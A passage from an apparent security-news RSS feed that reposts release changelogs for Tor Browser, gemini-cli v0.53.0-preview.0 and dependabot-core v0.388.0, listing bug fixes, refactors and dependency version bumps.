<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45043">Bug tor-browser#45043</a>: Re-add missing changes to settings after 151/152 rebase</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45083">Bug tor-browser#45083</a>: Error in about:preferences due to ipprotection missing</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44728">Bug tor-browser#44728</a>: Bundled fonts are broken on macOS when the GPU process is enabled</li>
</ul>
</li>
<li>Linux<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/@%20libfontconfig.so.1/-/issues/45048">Bug @ libfontconfig.so.1#45048</a>: Backport Bugzilla 2041887: Crash in after users upgraded to fontconfig 2.18.0 [tor-browser]</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 152.0a1</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43856">Bug tor-browser#43856</a>: Fix onBackPressed() deprecation</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44091">Bug tor-browser#44091</a>: Add frequent regions to tor connection assist for android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44175">Bug tor-browser#44175</a>: Remove all default browser functionality (Android)</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44769">Bug tor-browser#44769</a>: TBA crash screen has firefox asset as well as a "Send crash report" button</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45052">Bug tor-browser#45052</a>: Initialise Tor modules on android in the same order as desktop</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41802">Bug tor-browser-build#41802</a>: Remove the tor daemon requirement for signing</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41809">Bug tor-browser-build#41809</a>: Update toolchains for Firefox 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41813">Bug tor-browser-build#41813</a>: Disable build artifacts in <code>make generate_gradle_dependencies_list-geckoview</code></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41821">Bug tor-browser-build#41821</a>: Update gpg subkeys for boklm</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41823">Bug tor-browser-build#41823</a>: Add versions information to the toolchain list update</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41827">Bug tor-browser-build#41827</a>: Update morgan's keychain with renewed key</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.4</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41810">Bug tor-browser-build#41810</a>: Define GetAddrInfoExCancel on mingw</li>
</ul>
</li>
<li>Android<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45086">Bug tor-browser#45086</a>: Compress omni.ja with xz on Android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41830">Bug tor-browser-build#41830</a>: Update the browser project to change omni.ja.xz</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.53.0-preview.0]]></title>
<description><![CDATA[What's Changed

fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407
feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt p...]]></description>
<link>https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</guid>
<pubDate>Wed, 22 Jul 2026 22:25:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4893271589" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28407" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28407/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28407">#28407</a></li>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
<li>fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933898579" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28470" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28470/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28470">#28470</a></li>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-preview.0...v0.53.0-preview.0"><tt>v0.52.0-preview.0...v0.53.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.388.0]]></title>
<description><![CDATA[What's Changed

Type GitHub release metadata by @JamieMagee in #15597
Make GitCommitChecker strongly typed by @JamieMagee in #15598
Retry corepack prepare and install on signature metadata errors from private registries by @kbukum1 in #15606
Fix UV DependencyGrapher to detect nested uv.lock in mo...]]></description>
<link>https://tsecurity.de/de/3687473/it-security-tools/v03880/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687473/it-security-tools/v03880/</guid>
<pubDate>Wed, 22 Jul 2026 21:50:45 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type GitHub release metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898805987" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15597" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15597/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15597">#15597</a></li>
<li>Make GitCommitChecker strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898867087" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15598" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15598/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15598">#15598</a></li>
<li>Retry corepack prepare and install on signature metadata errors from private registries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906386828" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15606" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15606/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15606">#15606</a></li>
<li>Fix UV DependencyGrapher to detect nested uv.lock in monorepos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4829227276" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15520" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15520/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15520">#15520</a></li>
<li>Bump library/rust from 1.95.0-bookworm to 1.97.0-bookworm in /cargo by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732478" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15560" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15560/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15560">#15560</a></li>
<li>Bump @sigstore/core from 3.1.0 to 3.2.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777697783" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15455" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15455/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15455">#15455</a></li>
<li>Bump maven from 3.9.14 to 3.9.16 in /maven by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512163697" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15127" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15127/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15127">#15127</a></li>
<li>Support Bundler source cooldown in Dependabot cooldown flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828748840" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15517" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15517/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15517">#15517</a></li>
<li>Type shared release metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907898455" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15607" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15607/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15607">#15607</a></li>
<li>Make Job strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908469606" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15608" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15608/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15608">#15608</a></li>
<li>Type Job wire models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908664062" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15610" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15610/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15610">#15610</a></li>
<li>Type Service and ApiClient by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914714552" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15614" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15614/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15614">#15614</a></li>
<li>Add support for calendar-based versions for Maven and Gradle by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yeikel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yeikel">@yeikel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3904944153" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14114" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14114/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14114">#14114</a></li>
<li>Type error reporting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914936590" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15615" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15615/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15615">#15615</a></li>
<li>Type updater dependency helpers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915222773" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15617" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15617/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15617">#15617</a></li>
<li>ensure proper formatting when patching element attributes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931344457" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15629" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15629/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15629">#15629</a></li>
<li>Bump ws from 8.18.3 to 8.21.1 in /npm_and_yarn/helpers/test/npm/fixtures/vulnerability-auditor/update-needed-across-two-versions by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668187184" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15329" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15329/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15329">#15329</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4192916821" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14608" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14608/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14608">#14608</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193074043" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14609" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14609/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14609">#14609</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193583048" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14610" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14610/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14610">#14610</a></li>
<li>Bump the dev-dependencies group across 1 directory with 2 updates by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248765071" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14694" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14694/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14694">#14694</a></li>
<li>Bump pip from 26.1.1 to 26.1.2 in /python/helpers in the pip group across 1 directory by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2923161633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/11830" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/11830/hovercard" href="https://github.com/dependabot/dependabot-core/pull/11830">#11830</a></li>
<li>Bump yaml from 2.3.1 to 2.9.0 in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4139279209" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14535" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14535/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14535">#14535</a></li>
<li>npm_and_yarn: group vulnerability auditor blocking-dependency messages by top-level ancestor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930247969" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15627" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15627/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15627">#15627</a></li>
<li>Bump ip-address and socks in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390826842" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14924" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14924/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14924">#14924</a></li>
<li>Bump brace-expansion from 1.1.13 to 1.1.16 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933097377" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15634" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15634/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15634">#15634</a></li>
<li>Bump brace-expansion from 1.1.13 to 1.1.16 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933096299" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15633" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15633/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15633">#15633</a></li>
<li>Bump sigstore/cosign/cosign from v3.1.1 to v3.1.2 in /docker in the regclient group across 1 directory by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923388299" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15621" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15621/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15621">#15621</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191577844" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14606" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14606/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14606">#14606</a></li>
<li>Bump @tootallnate/once from 2.0.0 to 2.0.1 in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496516067" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15107" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15107/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15107">#15107</a></li>
<li>Bump the "uv-ecosystem" group with 1 update across multiple ecosystems by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416107122" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14969" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14969/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14969">#14969</a></li>
<li>Bump ip-address and socks in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390825489" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14923" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14923/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14923">#14923</a></li>
<li>Bump yaml from 2.3.1 to 2.9.0 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4139269626" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14533" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14533/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14533">#14533</a></li>
